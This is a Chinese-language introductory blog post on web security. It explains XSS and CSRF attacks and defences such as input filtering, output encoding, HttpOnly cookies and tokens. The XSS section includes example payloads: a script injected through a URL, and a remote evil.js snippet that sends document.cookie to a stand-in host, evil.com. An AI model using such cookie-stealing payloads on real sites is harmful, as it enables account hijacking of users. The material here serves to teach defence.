• 浅谈Web安全


    XSS原理和攻防

    跨站脚本(Cross Site Scripting)

    XSS的原理是攻击者往Web页面插入恶意可执行网页脚本,当用户浏览这个页面的时候,嵌在网页中的脚本就会执行,从而达到窃取用户信息的目的

    1596350960413

    XSS的危害

    • 挂马
    • 盗取用户Cookie
    • DDOS(拒绝服务) 客户端浏览器
    • 钓鱼攻击
    • 删除目标文章、恶意篡改数据、嫁祸
    • 劫持用户Web行为,甚至进一步渗透内网
    • 爆发Web2.0蠕虫
    • 蠕虫式挂马攻击、刷广告、刷浏览、破坏网上数据

    XSS的分类

    1596351458259

    • 反射型XSS(非持久型XSS)——仅对当前访问的页面产生影响

      • 攻击者会让用户访问一个被篡改的URL,当用户访问该链接的时候就会触发预先插入网页中的脚本,从而达到攻击的目的
      https://xxx.com/xxx?test=<script>alert(document.cookie)</script>
      

      img

    • 持久性XSS(存储型XSS)——一般存在于表单提交等交互功能,如文章留言,提交文本信息等

      • 黑客利用的XSS漏洞,将攻击脚本经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时将其渲染执行

        img

    XSS存在的原因

    对URL中的参数或对用户提交输入的部分没有充分过滤,导致输入的不合法内容可以保存在web服务器

    当用户再次读取代码时,保存的脚本将会执行做出危害用户的操作

    1596351931806

    XSS的实例——盗取用户的Cookie

    Cookie一般保存当前用户的登录凭证。一旦被盗取,黑客可能通过Cookie直接登进用户的账户,进行恶意操作

    • 攻击者加载一个远程脚本

      http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>  
      
    • XSS Payload在远程脚本evil.js中,窃取用户Cookie

      let img=document.createElement("img");
      img.src="http://www.evil.com/log?"+escape(document.cookie);  
      document.body.appendChild(img);  
      
      • 插入不可见的图片,同时把document.cookie作为参数,发到远程服务器

    XSS的防御

    对输入(和URL参数)进行过滤,对输出进行编码,Cookie设置 http-only

    • 输入过滤处理

      • 对于引号、尖括号、斜杠进行转义
        • 包括用户输入、URL参数、POST请求参数、Ajax
      • 白名单过滤策略:只允许输入字母 + 数字等 或者 限制输入长度
      • 黑名单过滤策略:对 <script></script>等过滤
    • 输出格式化

      特殊字符 实体编码
      & &amp;
      < &lt;
      > &gt;
      " &quot;
      ' &#x27;
      / &#x2F;
    • Cookie设置 http-only

      • Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息
    • 编程语言

      • https://github.com/leizongmin/js-xss

    CSRF原理和攻防

    跨站点请求伪造(Cross Site Request Forgery)

    攻击者盗用你的身份,以你的名义发送恶意请求。

    CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账。造成的问题包括:个人隐私泄露以及财产安全

    img

    CSRF的特点

    • csrf发生在第三方网站
    • csrf攻击获取不到cookie信息,只是使用

    CSRF的防御

    • 尽量使用POST请求,Get请求不对数据进行修改

    • 不让第三方网站访问到用户Cookie

    • 阻止第三方网站请求接口

    • 请求时附带验证信息,比如验证码或者Token

    参考文章

    https://juejin.im/post/6844903797349859342

    https://www.bilibili.com/video/BV1DW411U7XE?t=888

    https://www.bilibili.com/video/BV1iW411171s?t=677

    https://juejin.im/post/6855300688591880199

  • 相关阅读:
    Nexus centos 安装
    Linux下Redis的安装和部署
    Markdown编辑器
    mysql 递归查询 主要是对于层级关系的查询
    Maven 打包的时候报 Failed to execute goal org.codehaus.mojo:native2ascii-maven-plugin
    WPS 认证机制
    网络延迟分析
    帧传送、关联与身份验证状态
    802协议族
    【转】Hostapd工作流程分析
  • 原文地址:https://www.cnblogs.com/zengbin13/p/13419029.html
Copyright © 2020-2023  润新知